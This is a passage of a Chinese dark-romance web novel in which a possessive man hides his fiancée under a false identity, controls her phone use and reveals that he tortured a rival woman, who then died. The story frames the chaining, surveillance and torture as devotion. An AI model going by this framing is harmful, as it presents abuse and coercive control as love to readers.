姜梨依旧迷茫,她依稀记得楚云和姜铭生是帮沈月汐办过这么一场生日会,但是她不记得有江淮之说的这么一回事。 准确来说,小时候的事情她多少都记得一些,但唯独没有江淮之。 江淮之的眼睛半垂着,目光专注的看着她,“没人会不喜欢公主,尤其是这个公主还漂亮的不可方物。” 深邃如夜空的眸子灯光下格外明亮,藏着细碎的星光,温柔至极。 姜梨的喉咙突然哽了一下,片刻后她轻轻推开他,眼神躲闪,“我不是什么公主,我根本就不记得你说的这些事情,我分不清真假,我不相信你,我也不想要什么婚礼。” “我困了,我要睡觉。” “你走。” 像是在逃避什么,姜梨扯过被子盖过头顶缩了进去。 江淮之眼神暗了下来,看着躲进被窝里的人,他终究是没有再说什么,沉默着离开了卧室。 …… 偌大的韩家老宅今天格外热闹,本家人齐聚在祠堂。他们是来观礼的,江淮之过继到韩家老三名下的仪式。 神位前的拱桌上摆满了供品,点燃了香和火烛,江淮之穿着正装,衣服袖口上的金色钮扣以及胸前的刺绣都是韩家的家徽。 行跪拜礼,认祖归宗。 坐在大位上的是韩斯年的父母,江淮之双膝跪地,朝座上的两位磕了头,正式喊了一句:“父亲,母亲。” 在港城这边,父母是要喊阿爸阿妈的。不过他从小颠沛流离,也没在港城待太久,爸爸妈妈他是喊不出口,只能中规中矩的喊尊称了。 夫妇俩同时起身,将他扶了起来,并给了他一封红包,这场礼便算完成了。 紧接着韩斯年便起了一个头,恭敬的喊了他一声:“大哥。” 有他开头,其他的人也齐声喊了一句大哥。 韩老爷适时的开口:“阿野已经到了适婚的年纪,我已经为他挑了一位女孩,婚期我和老三夫妇都请人看过了,在今年的十月十六号。” “爷爷,敢问一句是哪家的姑娘?” “这姑娘原本是你们奶奶朋友的幼女,幼时家中突遭变故,父母双亡。你奶奶私底下帮衬了不少,因为身体一直不好,她在疗养院住了许多年。”韩老爷早就已经想好了说辞,他看了一眼江淮之,继续道:“阿野刚回来时也在疗养院待过,跟这姑娘见过几面,你奶奶瞧两个人有情,就把这姑娘当成是阿野的童养媳养在了身边。琴棋书画样样精通,是个好姑娘。” 家族里的人面面相觑,显然是对这桩婚事有些不满。 怎么着江淮之现在也是他们韩家人,娶这么个没有家世背景的姑娘实在是草率。 韩老爷敲了敲拐杖,声音严肃了不少:“你们的奶奶非常喜欢这姑娘,况且人家父母虽然过世的早,但是留给她的资产也是非常丰厚,说是身价过亿也不为过,她嫁到韩家是下嫁,而绝非高攀。” 淮愿,司氏的股份,再搭上一个沈氏,日后恐怕连姜氏都是她的。 可不就是身价上亿吗? 众人一听完这番话唏嘘不已,然后很默契的没有再出声。 韩斯年这才知道江淮之葫芦里卖的是什么药,江淮之这分明是在偷梁换柱,给姜梨换个新身份生活。 真是打得一手好算盘! “阿爸,这姑娘叫什么?年龄多大?阿野既然要结婚,那在婚礼之前也必定是要上门提亲的,到时候我们这些做叔叔大伯的也必定要到场,若是连称呼都搞不清楚,岂不是闹笑话?”说话的是韩家老大。 “叫姜时愿,今年刚满二十一。” 二十一?那岂不是大学都没毕业?! 众人惊诧,但是依旧不敢多言,只能笑着打哈哈说了几句好话。 听到这个名字,人群里的韩家老四——韩聿言,他的眼底快速的划过一丝暗光,而后深深的瞥了眼江淮之。 吃过饭之后过继仪式才算圆满结束。 韩斯年还要忙公司的事务,来接江淮之的是谢铭。 江淮之这两三天的心情不太好,虽然他神色倒还算温和谦逊,但是谢铭总觉得压抑,有点透不过气。 电话铃声打破了车厢内的寂静,江淮之看了一眼,心口立马紧了一下。 是季妍打过来的电话,他一下子就想到是姜梨那边出事了,联想到前两天她说不想要这个婚礼的话,江淮之瞬间就想到:是不是他逼她逼得太狠,所以她又跑了?! 江淮之一遍吩咐谢铭开车快一点,一边接听电话,声音都在隐隐颤抖:“她出什么事了?” 第167章 给她放权 姜梨发烧了,体温到了39度。 晚饭的时候她就感觉到了不适,头很昏沉,头痛的也很厉害。 脑海里不断掠过一张张人脸和模糊不清的记忆碎片。有楚云和姜铭生,有林遥和林宴,有姜祈安和江淮之,还有洛骞和另一张完全陌生的面孔。 大脑乱成了一团浆糊。 姜梨觉得是前几天江淮之说的那些事情刺激到了她的脑子,所以才总会“放电影”,她以为是自己精神压力大才会头疼,就去浴室泡了个澡。 结果越泡越晕,意识也慢慢抽离,就晕在了浴缸里。 还好季妍发现的早,及时把她从浴缸里救了出来,不然她就要溺死在浴缸里了。 然而江淮之却是以为姜梨在用这种方法,抗议。 烧到39度身体不可能没反应,身体不舒服却不说,不是抗议是什么? 洛骞来给她打上了吊瓶。 看到姜梨脖子蔓延到锁骨的那些乱七八糟的痕迹时,洛骞忍不住皱眉。 离开卧室的时候他又看了眼盘起来放在一边的链子,眉心又跳了跳。 “就是普通发烧,吊瓶打完再给她吃一顿退烧药。”洛骞拎着药箱走到客厅,看向坐在沙发上的江淮之,淡淡说:“她身体素质不太好,别瞎折腾了。” …… 吊针打完,姜梨也没有醒。 江淮之给她喂了药,过了会儿又给她测了一次体温。 体温稳定在了36度,烧是退了。 但是她的脸色难看得很,嘴里一直在不断地说着胡话。 一会喊姜祈安,一会喊林遥,额头上起了一层细密的汗,碎发都被打湿了。 江淮之去接了一盆热水,给她擦身体。 他端着水盆刚走到床边,姜梨就开始大叫起来。 江淮之被她吓了一跳,赶紧放下水盆,一连喊了她好几声都没能把她叫醒。 “爸,我不要打针,这是毒品!我不要吸毒!” “司韩野,司韩野!!” 哗啦一下,一盆冷水浇在了江淮之的头顶,他的身体发僵,从头到脚都爬上来一股寒意。 江淮之坐下来,把陷在噩梦里无法自拔的姜梨从床铺上抱了起来,将她搂进了怀里,手掌轻轻拍着她的背,“别怕,都是噩梦,都是假的。” 他的安抚起到了作用,慢慢的,姜梨安静了下来,急促的呼吸声也变得和缓。 江淮之拧干毛巾,擦掉她身上的黏腻,让她舒服一点。 他起身要去倒水,却被一个力道给拽住了。 姜梨的手像抓一根救命稻草一样,紧紧抓着他的衣角。 江淮之放下水盆,脱鞋爬上了床。 隔天早上,姜梨是被雨声吵醒的。 雨下的很大,豆大的雨点砸在玻璃窗上,发出沉闷的声响。 她动了一下,身体软的像棉花,头还是有些晕,喉咙也好痛,全身都没有什么力气。 好在已经退烧了。 从冰岛回来以后她一直都没出过门,这样都能感冒发烧,也是有够离谱的。 姜梨掀开被子翻身坐了起来,感觉到自己脚腕上空空如也时她愣了一下。 江淮之把锁解开了? 他这两天好像很忙,她每天早上起的也不算晚,八点多的样子。 但每次季妍都说江淮之已经出去很久了。 姜梨缓了缓,慢悠悠的走出卧室,准备去洗漱。 没有那条链子的感觉,非常好。 只可惜天气不太好,不然她可以趁着季妍不注意的时候偷偷出去溜一圈,呼吸一下新鲜空气。 还能知道沈家和楚家到底怎么样了。 姜梨低着头,心里打着小算盘。她心不在焉的打开门,然后就直愣愣的撞上了一堵肉墙。 本来头就有点晕,这么撞一下就更晕了,往后退了好几步,差点摔倒。 江淮之伸手抓住她的手腕。 “你没出去吗?”姜梨回过神,把手腕从他手里抽了出来。 她这个排斥的动作被江淮之尽收眼底,说话的声音也很嘶哑,鼻音很重。眉毛微微皱了一下,低头看向她的脚,而后二话不说弯腰将她单手抱了起来。 姜梨惊了一下,“你干嘛!” 江淮之把她放到床上,继而从衣柜里拿了一双袜子,蹲下身帮她穿。 姜梨眼睛一睁,脚往回缩了一下,“我自己穿……” 她话音未落,江淮之就握住了她纤细的脚踝,触感很凉。 江淮之慢条斯理的把袜子套了上去拉平,淡淡道:“又不是没帮你穿过。” 他说的是十二三岁的时候,那哪能一样。 姜梨还是觉得别扭极了,小声的反驳:“我现在是二十一岁,不是十二岁了。” 江淮之突然想起来一件事。 他们刚领完证的那天,在车上的时候姜梨说过这种类似的话。跟他说十二岁和十七岁的时候连喜欢一个人都是错的,但是二十一岁不是。 不仅可以喜欢别人,还可以跟那人牵手、拥抱,甚至是做爱。 还说年纪小喜欢过的、那个错的人长大之后也不会再喜欢了。 他当时还真的信以为真,以为她不喜欢他了。 现在回想起来,江淮之真觉得自己是跟她分别的太久,所以才会看谁都像情敌。 不管是在现实,还是在梦境,遇到紧急的情况,姜梨想到的第一个人永远都是他,叫的也永远都是他的名字。 她要跑,他就把她再抓回来。 不管她逃到哪里,他都能找到她,就当是陪她玩一场猫捉老鼠的游戏。 “我不想再当那只被困起来的笼中鸟了!” 仅仅只是不能踏出医院大门她都能留下这么深的阴影,更何况是被人用锁链捆住。 在见不到阳光的牢笼里,玫瑰永远不会开花。 “我可以把手机和电脑都还给你。”江淮之突然开口说:“但是你不能联系谢鹤扬和纪繁星还有沈翊,他们其中两个是死人,另一个下落不明,他们现在跟你没有任何关系。” 姜梨跟着这三个人凑在一起,准没什么好事情。 “你可以给叶辞打电话,也可以去联系阮经颜跟她说明情况,但是别人不行。你现在也是死亡状态,被太多人知道你还活着会很危险。” 江淮之想想又补了一句:“你跟叶辞打电话的时候要开外放,我要听。” 第168章 带你看出戏 姜梨一直到洗漱完,吃完早饭,吃完药,江淮之真的把一部联了网的手机给了她,她都还没有反应过来是怎么回事。 这一个多月,江淮之就是一副敏感、多疑、偏执、阴郁的样子,完全就是一点道理都讲不了。 怎么现在就突然转性了? 手机是新的,但是常用软件都已经安装好了,姜梨首先就点进了微博,看这几个月的新闻和热搜。 江淮之则是翻看着手里的一沓文件。 姜梨从铺天盖地的新闻里得到了她想要的结果,沈叙和楚珩熠都没能逃脱警方的追捕。 在傅绾和沈叙的婚礼当天,沈叙就被事先埋伏好的警察当场抓获,就连傅家都身涉其中。 而为警方提供各种证据的人,就是江淮之。 傅砚利用职务之便,三番两次让沈叙将装有大量毒品的货船逃脱检查运到了港澳,而在港城把关的人正是楚珩熠,两个人就这样里应外合的运输毒品。 恰巧姜梨和纪繁星又当众曝出来各种铁证,让全国观众都知道了沈叙和楚珩熠的罪行。 楚珩熠跑路的时候,韩斯年也早就暗中和港城的警察布下了天罗地网,最终在一座大桥上将其抓获。 江淮之动用韩家和司家的人脉关系,早就已经拿到了沈叙和楚珩熠贩毒的证据,故意挑在沈叙婚礼那天抓捕他。 这些事情,他从来没有跟她提过。 就算姜梨不策划那一场火灾,沈叙和楚珩熠都跑不掉。 而且港城警方还顺着楚珩熠的关系链顺藤摸瓜,在港城地下的各大黑场都发现了大量贩毒人员以及其他违法犯罪分子。 统统一网打尽。 不过…… 楚云和楚栖月没有参与贩毒是姜梨没有想到的。 楚栖月只吸,但没有贩卖,所以现在被关在了戒毒所强制戒毒。 而楚云更是离了大谱,警方调查下来发现她没有任何违法犯罪行为,别说是贩毒了,就连包庇沈月汐纵火杀人的这条罪都被推翻。 现在还在大肆宣扬江淮之霸占她女儿尸体,独吞她女儿在姜氏所持有的股份,甚至说江淮之以前猥亵过还是未成年的姜梨。 在火场里的时候,沈月汐分明说了,姜祈安在收集楚云贩毒的证据,她不可能没有贩毒。 是谁在背后帮她? 姜梨当即就想到了一个人——司南泽。 沈叙和楚珩熠背后的大毒枭就是他,但是他这一次完全置身事外,警方端掉了地下,端掉了沈叙和楚珩熠,就是没有查到他。 沈叙和楚珩熠,是弃子,也是司南泽的替死鬼。 他自己都需要牺牲两个人来自保,怎么能救楚云? 水真是越来越深了。 “沈氏新任总裁沈君临涉嫌经济犯罪,现已被警方依法逮捕,沈氏集团被司氏前任总裁江淮之高价收购。” 看到这条新闻,姜梨立马扭头看向江淮之。 江淮之将手里的文件放到她面前,又给她递来一根笔,“签姜时愿。” 又是一份股份转让书。 姜梨看了一下,心中翻腾起来巨大的浪潮。 薄薄的纸张承载着沈氏百分之五十五的股份,还有姜氏百分之二十六的股份,简直就是千斤重。 她在临行前交给叶辞的东西里面,就有一份股份转赠书,把拿到的姜氏股权都给了江淮之。 不管她是真死还是假死,江淮之都一定会帮她报仇,夺回姜氏,拿下楚云的人头。 他现在不仅转给了她,还多了百分之七。 姜梨问:“姜氏多出来的那部分,是……” “我给姜氏制造过困难,楚云找到了楚卿然帮她摆平,用百分之七的股权作为交换。”江淮之漫不经心的说:“还记得你在酒吧醉酒之后跟司南泽耍酒疯那一次吗?那一次我也遇到楚卿然了,这是他给我的。” 他用了“也”,江淮之早就知道那天晚上她帮楚卿然逃跑的事情了。 江淮之又夸了她一句:“里里外外一圈人都是你的帮手,演戏把别人骗的团团转,还到处收集证据,妹妹好厉害。” “楚珩熠和沈叙贩毒的证据是纪繁星和沈翊搞定的,楚柠歌推人的录像是沈翊在沈月汐那里拿到的,至于沈月汐放火的证据也是被林遥藏在玩偶里的摄像头拍到的。”姜梨抿了抿嘴,“跟我没关系,我一点也不厉害。” 真的厉害,林遥就不会为了救她而丧命。 如果真的厉害,也不会被害的家破人亡。 “网上的人都在夸赞你,称你为战功赫赫的女将军。”江淮之点了一下那份文件,“厉害的女将军,快签字吧。” “正好一个亿。” 姜梨没有拿笔,她也不知道自己是什么脑回路,下意识就回了他一句:“可我不想办婚礼。” 按照江淮之的风格,这份股权转让书很像是聘礼。 江淮之背靠着沙发,面色从容的问:“为什么不愿意办婚礼?是不喜欢我才不想嫁给我,还是有别的原因?” 姜梨低下眼皮,“现在他们都在说你罔顾人伦,就算顶着新名字,就算别人不知道我就是姜梨,楚云也一定会知道。这个时候办婚礼,不就坐实了吗?而且我还没有准备好在所有人面前成为你生命里的另一个身份。” “罔顾人伦的是江淮之和姜梨,跟我司韩野和你江时愿有什么关系?”江淮之哂笑一声,视线也变得耐人寻味起来,“况且楚云也未必认得出你,她也不敢认。” 嗯?怎么这么说? 姜梨满脸的疑惑和不解。 江淮之没解释,再次催促她签字:“这也不是聘礼,这是我当初答应你的东西。离婚期还有半年多的时间,你可以慢慢准备。” 当初说好了,只要姜梨嫁给他,他就给她所有想要的。 准备给她的聘礼可不止这些东西。 “这些,是我送你的二十一岁生日礼物。”江淮之掀开文件的一角,露出放在下面的她退回去的黑卡,还有一张金卡。 姜梨:“生日早就过了。” 江淮之无奈叹了口气:“你生日的时候,我们都在昏迷,礼物只能现在补。签了今晚我就带你出门,过几天还能带你看一出关于楚云的一场好戏。” 姜梨听到这个,眼睛一下子就亮了起来。 在江淮之的注视下,姜梨一笔一划的签上了“姜时愿”三个字。 人哪能跟钱过不去? 第169章 不记得也挺好的 “姜,时,愿。” 江淮之凑过去,把着姜梨的手握住笔,带着她一笔一划的在签名处写上了这三个字。 距离拉近,姜梨的睫毛颤了一下,心脏也麻了一下。以前她刚开始跟着他练毛笔字的时候,江淮之就是这样手把手的教她。 所以她当时的注意力全在江淮之身上,哪里学得好毛笔字?把色令智昏四个字展现的淋漓尽致。 姜梨微微扭头想看他,但是在她看过去的时候,江淮之在看她。 她猝不及防的撞进他的眸子里,心跳漏了一拍,握着笔的手也下意识用力,在纸上划出一道痕迹。 姜梨仓皇的放下笔,把手抽了出来,通过肢体动作能一眼看穿她的紧张。 她的手指胡乱的滑了几下手机屏幕点进拨号界面,然后打通了叶辞的电话,点开了免提。 电话响了好一阵才被人接通。 她调整了一下呼吸,开口:“是我,姜梨。” 尽管姜梨假死的事情江淮之已经告知,但是在听到她声音的时候,叶辞还是愣了很久。 “我跟江淮之在一起,好好的。” 叶辞的喉结上下滚了一下,“我知道。你感冒吗?还是火灾伤到了喉咙?” 她的声音很嘶哑。 姜梨回答:“小感冒,我没有受伤。” 她停顿了一下,而后才问他:“叔叔和阿姨怎么样了?” 小时候带她长大的是叶夫人,让她感受到母爱的也是叶夫人。她死亡的消息传的沸沸扬扬,也不知道这两个老人家有没有受到影响。 “江淮之没有跟你说吗?在新闻散播出来的前一天他就已经让陆七来报过平安了,也亲自打电话解释过了,还给他们传了你的照片。”叶辞说完无奈的笑了一下,“你在意什么,他最清楚了。我爸妈很好,你不用担心。” 姜梨的心又被拨动了一下。 他在背后,早就已经帮她把所有的后事全部处理好了,一点纰漏都没有。 姜梨深吸了一口气,眼珠微微转动,“那你还好吗?” 叶辞听出她的意有所指,语气没什么波澜,“挺好的。就是觉得背叛了你,怕你会怪我,有点不安罢了。” 听到这个回答,姜梨微微松了口气,紧绷的脑神经放松了下来,口吻都轻快了不少:“我没怪你,还得谢谢你。” 报了平安,知道了自己想知道的,这通电话自然也就结束了。 姜梨看着桌上的文件和两张卡,叶辞的话也萦绕在她耳边,微微攥紧了裤子,不知道过了多久才找回自己的声音,说了声:“谢谢。” 她跟他说谢? 江淮之倾身朝她靠过去,虎口卡住她的下颚,强迫她跟他对视,漆黑的眸子里满是戏谑,“怎么谢?” 他今天穿的是一件黑色的衬衫,扣子散开几颗,喉结饱满,他倾身压过来的姿势让衣领开叉的更开,能看到一点若隐若现的胸肌。 衬得他温柔又阴郁,还很凶很野。 姜梨知道他这是有点不高兴了,她凑上去,轻轻的在他唇角亲了一下。 江淮之本来戏谑的眼神在她亲上来的时候变得晦暗,呼吸也停了一下。 她一触即离,“这样。” 他直勾勾的看她,没说话。 于是姜梨又凑过去亲了一下,这次她停了有十几秒,她刚想要起身离开,江淮之的眼神一凛,手掌压住她的后颈强行将她按回来,将这个轻吻转为深吻。 姜梨想去推他,但是担心他身上的伤没有好透,不敢乱动,只能咬他的唇瓣。 江淮之吃痛松开她,“嗯?不是要谢我?你刚刚那样不够。” “病毒会传染,我不要。”姜梨的呼吸有些不稳,有些苍白的脸上了一层艳丽的腮红,耳朵都红透了,似是要滴血。 从很早之前江淮之就发现了,姜梨每一次跟他无意间对视,耳朵和脸都会红,还会下意识去扯其他的事情来掩盖她的惊慌。 “看一眼会红,亲一下也红,抱一下还是会红……” “爱都做了好多次了。”江淮之想到什么,手掌从她的耳朵移到她的小腹,“这里也可能已经住上了一个宝宝,怎么还这么害羞?” 姜梨瞪大眼睛,气得抬起脚踢他,“江淮之!” 老变态!闭嘴! 江淮之见好就收,亲了亲她的眉心和眼皮,没有继续闹她。 吃了感冒药,又闹了这么一会,再加上外面的淅沥的雨声是天然的催眠曲,姜梨又去睡了一觉。 下午的时候雨就停了。 晚上姜梨全副武装的跟江淮之出了门。 她这一遭瘦了很多,原来圆润的下巴都变得有些尖尖的,脸也小了好几圈,口罩将她的大半张脸都遮挡完了,只露出来一双眼睛。 黑色的长发自然的垂下来,头上戴了一定鸭舌帽,裹得很严实。 车上姜梨又问了他一遍:“你要带我去哪?” 这么神神秘秘的。 江淮之没有继续卖关子,跟她说:“今天维港有一场音乐会,在邮轮上举办。” “怎么想起来带我来看音乐会了?”姜梨还是觉得奇怪,她不怎么看音乐会,江淮之就更不喜欢了。 她喜欢刺激的,有挑战的。 “主要还是我对港城不太熟,刚好有人给了我两张票,你现在挺适合来这种场合,有利于身心健康。”江淮之眸色沉沉,但却平淡的如一潭清水,让人捉摸不透。 江淮之自然的转了一个话题:“你昨晚说梦话了,梦到什么了?” “我有吗?昨晚应该是烧糊涂了,所以我不记得了,我说什么了?” 姜梨的表情的确茫然,她是真的不记得了。 “没怎么听清。”江淮之捏了捏她的手指,意味不明的说了句:“不过是噩梦而已,不记得也挺好的。” 第170章 她亲自认尸 小提琴、大提琴和钢琴交织,演奏出来的音乐婉转动听。甲板上的人手握香槟,非常惬意的吹着海风,欣赏维港绚丽的夜景。 这艘邮轮非常豪华,有两层楼那么高。 船上的人也不少,大部分都是年轻女孩,一直都在往演出乐队的地方靠,姜梨看到有许多人的手里都举着类似于应援的灯牌。 “时樾?”姜梨隐约觉得这个名字有些耳熟。 江淮之低头问她:“怎么了?” 姜梨看了眼前方在演奏的几个人,“音乐会的这个乐队是组合吗?组合名叫时樾?” 人有些多,姜梨也看不太清楚台上几个人的长相,通过那些灯牌判断出可能是乐队的名字。 “倒也不是。”江淮之眼底微闪了一下,小声跟她解释:“时樾是新起的一个港星,钢琴家兼歌手。今天这场音乐会是他个人的,同台演出的其他几个人算是陪衬。” 姜梨长长的哦了一声。 当初南诗奕和纪繁星都这么红了,她一开始都不知道她们是谁。她不爱追星,内地不太出名的艺人她都不认识,更何况是港城这边新出道的艺人? 江淮之不动声色的牵着她往前走,站到了前三排的位置,离演出的舞台近了许多。 “韩野?”一个陌生的男音突然在他们身后响了起来,姜梨听到以后,被江淮之牵着的手下意识握紧。 这个人叫的是他的本名,姜梨不认识他,所以她有些紧张,怕被认出来。 江淮之安抚的看了他一眼,然后扭头朝声音的主人看过去,是韩聿言,韩家老四。 按理说,江淮之现在应当叫他一声四叔。 但是他没吭声。 韩聿言也见怪不怪,眼神看向被江淮之挡在身后的姜梨,“这位是……?” “我的……”江淮之弯了弯唇,温声道:“未婚妻。” “就是那位叫做姜时愿的姑娘吧?” 姜梨的手心出了一层汗,她微微探出头,悄悄的看了一眼那个男人。 韩聿泽戴了一副金边眼镜,看上去很年轻,长得也很清俊,不管是说话的声音还是长相,都非常的斯文绅士。 但是姜梨总觉得他看过来的眼神有些深沉,让人觉得有些不太舒服。她皱了皱眉,拽着江淮之往前面钻。 本来两个人就很陌生,又没有任何来往,根本用不着客套什么,江淮之也就由着姜梨拉着他离开。 姜梨问他:“刚刚那个人是韩家的?” “韩老爷子的幼子,叫韩聿言。” 韩老爷的幼子,也就是江淮之妈妈的弟弟?他的舅舅? 好年轻,看上去比江淮之大不了几岁。 江淮之淡淡道:“老头子有三个孩子,我妈是老大,老二是韩斯年的爸爸,最小的就是韩聿言,但是他跟前两个是同父异母,老头以前也挺风流,娶进来的不止我外祖母一个,还有个年轻的妾,也就是韩聿言的妈妈,难产早逝。” “那你外祖母和这个……”姜梨实在是说不出来妾这个字眼,感觉好像退化到了古代,索性直接略过了,“她们关系好不好?是以礼相待,还是水火不容?” “我外祖母已经和老头分居十年多了,互相不联系,你觉得呢?” 姜梨继续问:“那对韩聿言如何?” 江淮之摇了摇头,“他是我叔外祖带大的,不怎么招人待见。” 怪不得。 “这个叫韩聿言的心理状态八成是有点点扭曲的。”姜梨开始跟他分析:“他虽然看上去斯文有礼,但是他的眼神很阴沉。从小缺乏母爱,又遭人白眼唾弃的人,多半都有点表演型人格。” 江淮之眉梢微挑了一下,“在洛骞那里待久了,还学会这个了?” “也不完全是在他那里学的,我见过各种各样的病人,都患有不用的疾病,导致的性格缺陷也不一样。见得多了,就多少能分辨一点点。”姜梨抬头看向他的眼睛,“我的直觉也很准。” 江淮之“哇”了一声,好看的丹凤眼弯了弯,毫不吝啬的夸她:“好厉害。” 悠扬的音乐声环绕四周,灯光印在他漆黑的瞳孔,像夜里闪耀的繁星。 姜梨呼吸一窒,脸有些发热,她有些慌张的移开视线,看向舞台上演奏的艺人,小声嘀咕:“勾引人的男妖精……” 江淮之没有听清,脊背微弯,贴到她耳边:“说什么?” 灼热的气息喷洒到耳侧,有些酥麻,耳根爬上来一抹嫣红,姜梨瞪他,“说你会跟你嘴里的那个老头子一样,娶一堆女人回家。” 姜梨说着说着就真生气了,不想要他牵。 江淮之都要被她气笑了。 她现在就相当于把“有其父必有其子”这种说法安在了他身上。韩老头是他亲外公,他风流,他这个外孙也一定风流。他外公纳妾,他这个外孙也一定会纳妾。 “外孙又不是亲孙,我跟他不亲。”江淮之牢牢的牵住她,紧紧扣住,“我只有你一个。” 姜梨轻哼了一声,没再挣扎。 此时,舒缓的音乐突然变了味。大提琴和小提琴的声音小了下来,直至消散。乐器交织的演奏转变成了钢琴独奏,乐声极其激昂。 姜梨的注意力被钢琴声吸引,她看向舞台上的那个男人,心口莫名的震颤了一下。 灯光有些暗,离得也有些远,姜梨看不太清他的长相。 只是他弹琴的姿势,跟姜祈安,很像。 但是又总觉得有哪里不一样。 许是姜梨的眼神过于专注,台上弹琴的男人似是注意到她,朝她这边看了一眼。 心脏好似被人刺了一下,呼吸也变得有些急促。 江淮之看着姜梨,眼神逐渐变深。 这时天上突然闪过一道白光,雷鸣声响。 负责场内秩序的几个工作人员也走了出来,每个人的手里都拿着一叠卡片。 钢琴声也戛然而止,舞台上的时樾站了起来。 “天气突然有变,请大家配合工作人员有序离场。离席时会给大家发亲签的明信片,感谢你们在百忙之中来参加这场音乐会,我们下次再会。” 姜梨拿到了那张亲签的明信片。 字迹不同,声音也不同。 她看着那张薄薄的卡片,上面龙飞凤舞的签着“时樾”二字。 姜梨嘴角扯出来一抹几不可闻的苦笑。 尸体是她亲自认领的,dna鉴定结果也是无误的,下葬也是她亲眼目睹的。 姜祈安早就已经死透了。 她真是疯了,才会天真的把这个人认成已经逝去的人。 时樾透过熙攘的人群,看着姜梨被江淮之护在怀里下了邮轮。 江淮之微微扭头,遥遥的和他对视了一眼。 第171章 你现在还觉得她不该死吗 半夜。 江淮之前脚刚离开卧室,原本熟睡的姜梨就睁开了眼睛。 她听到江淮之开了书房的门。 然后快速拿起手机,登上了之前用于联系沈翊的那个微信号。 页面加载了几秒钟,随后震动一声。 纪繁星在两天前给她发过信息。 “你什么时候行动?现在还不是你和你男人长厢厮守的时候。” 姜梨凭她这句话都能想象得出来她急切的神情。 她抿了抿嘴唇,开始打字:“我会尽快想办法脱身,心急吃不了热豆腐。” 这句话发出去没几秒钟,那边就回了一句话过来。 “需要我帮忙吗?” 姜梨:“一个已经死掉的人少给我添乱,我保护不了孕妇。你们几个好好在疗养院待着,没事别出来逛。” 纪繁星回了一串省略号。 “那个火场里的小男孩,你们送出去的时候有见到他的父母吗?”姜梨没忘记这事,那个孩子跟姜祈安长得非常像,眼睛和脸型简直就是一个模子里刻出来的。 时樾可以说是高仿品,可以说是巧合。 但是那个孩子,绝不可能是巧合。 还有她上次在医院里看到的那个人,她以为是幻觉的那个人,也绝对不是巧合。 纪繁星和谢鹤扬也是在火场里逃命的,那两具假尸的dna也被验证过,和他们本人是吻合的,谢家认领了尸体,还大办了葬礼。 没有其他人知道他们其实还活着。 他们能做,姜祈安又为什么不能? 纪繁星:“给警察了,不过我跟那孩子谈判的时候他说他姓宿,就是海城的那个宿家,和谢家是姻亲,其他的就什么都不知道了。” “你不是跟我说谢鹤枭不是毒贩,很有可能是卧底吗?我现在怀疑这个孩子是我哥和……”姜梨字还没打完,就听到了脚步声,她的手抖了一下,就这样点了发送。 纪繁星那边扣了一个问号。 但是姜梨来不及解释了,快速的退出微信,把所有痕迹清理干净,把手机放回原位,然后装睡。 一套动作一气呵成,丝毫不拖泥带水。呼吸规律匀称,一点表演痕迹都没有。 …… 阴雨连绵的天气一直环绕着港城。 姜梨站在落地窗前,看着细雨落在维港的海面上溅起来一朵一朵的水花,涟漪荡漾。 雾气蒙蒙,整座城都是一片灰白色。 和她的心情一样,笼罩着一大片散不开的乌云。 江淮之开了一场视频会议,从书房里出来就看到姜梨站在落地窗前看雨,阿野懒散的趴在她脚边。 从这个角度看过去,一人一猫显得无比惆怅。 姜梨听到脚步声,涣散的瞳孔逐渐聚焦,双唇轻启:“楚云一直在发动舆论,想让你交出我的遗体,她其实根本不相信我已经死了。” “后天就是葬礼,楚云一定会大闹现场,要求开棺验尸,到时你又要怎么收场?” 江淮之站定在她身后,“我可不会办这场葬礼,多不吉利。既然不是我办这个葬礼,自然也谈不上我该怎么收场。” 姜梨皱眉,扭头看向他,“什么意思?” 她的头发已经快到腰了,发尾自然的弯曲。江淮之伸出手指,头发缠绕在指节。极致的黑和他白皙的肤色形成了鲜明的对比,非常色气。 “一会带你去个地方,送你一个大礼。” …… 姜梨没有想到江淮之会带她来私人殡仪馆。 越往里走越觉得冷,姜梨的心里隐约开始有了一些不安。 谢铭带着他们站定在一扇双开门前,是殡仪馆的冷藏室。 “为什么带我来这里?”姜梨不敢进去。 她的手不知道从什么时候开始变得冰凉一片,还有些抖。 江淮之握紧她的手,说了一句毫不相干的话:“明天韩家就会对外宣布我们的婚事,以及定下的婚期。有些误会,是该有个答案。” 随着他的话音落下,门就被打开了,里面的冷气扑面而来。 还没等姜梨拒绝,江淮之就已经拉着她走了进去,谢铭在外面等他们。 里面放置着一个专门存放逝者遗体的冰柜。 江淮之面无表情的拉开冰柜,里面赫然躺着一具女人的尸体,她的身体上有大片的烧伤痕迹。 姜梨不是法医,但是这具遗体伤痕累累,一眼就能知道她生前一定遭受了极大的折磨和刻骨的痛苦。 在没看到脸的时候,姜梨还以为江淮之是跟谢鹤扬用了一样的办法,在那些经常出人命的地方弄来了一具代替她的尸体。 然而在看清楚这个人的脸时,姜梨浑身的血液和细胞都凝固成了冰块,她甚至连尖叫的声音都发不出来。 这个人不是别人,而是时愿本人。 姜梨睁大眼睛,不可置信的看向江淮之。 “你……” 江淮之在她说出第一个字的时候打断了她的话,“她身体上和脸上的伤,还有口腔的灼伤,都是我干的。你伤在哪个地方,她就要双倍还回来。这些伤是她背叛我,听别人的挑拨跑去对你胡言乱语应得的惩罚。” “做完这些我就让宋折和谢铭把她放了,我没有杀她。是她自己运气不好,刚好被从国外偷渡出来的犯罪分子给盯上了,惨死在了巷道里。” “她不惜照着你的样子整容,一直都想要取代你,那就成全她好了,现成的完美替死鬼,哪有不用的道理?” 姜梨听着江淮之的话,又去看了一眼死状无比凄惨的人,双唇颤抖,脚步不稳的往后退了一步,不断地摇头。 时愿身上不仅有烧伤,就连手臂上的刀伤都跟姜梨的一模一样。江淮之分明就是故意的,他也根本没有放走时愿,而是直接把她送进了虎口。 “我从来都没有想过要为了自己而去要别人的命,你又怎么可以为了我这样做?因为几句话,就把她折磨成这样,就定了她的生死。” 江淮之眸光清寒,“因为她挑拨离间的话,才促成了你决定要离开我的局面,才会下定决心实施这样危险的计划。” 姜梨:“就算没有她,我也会实行计划,跟她没有任何关系!以牙还牙,以眼还眼,她犯的错哪里至于要让她搭上一条命!?” “谁跟你说她罪不至死?”江淮之看着姜梨,眸色变得愈发深沉,“十二年前,你跟她也认识。因为嫉恨你漂亮,她就不止一次的找地痞流氓骚扰过你,还号召学校里的人对你进行了很严重的霸凌。” “妹妹,你现在还觉得这个人罪不至死吗?” “如果你现在没有失忆,时鸢要是落到你手里,怕是死一百回都不够的。”江淮之看着姜梨愣住的表情,笑了一下,“不过也没关系,你不用脏手。” 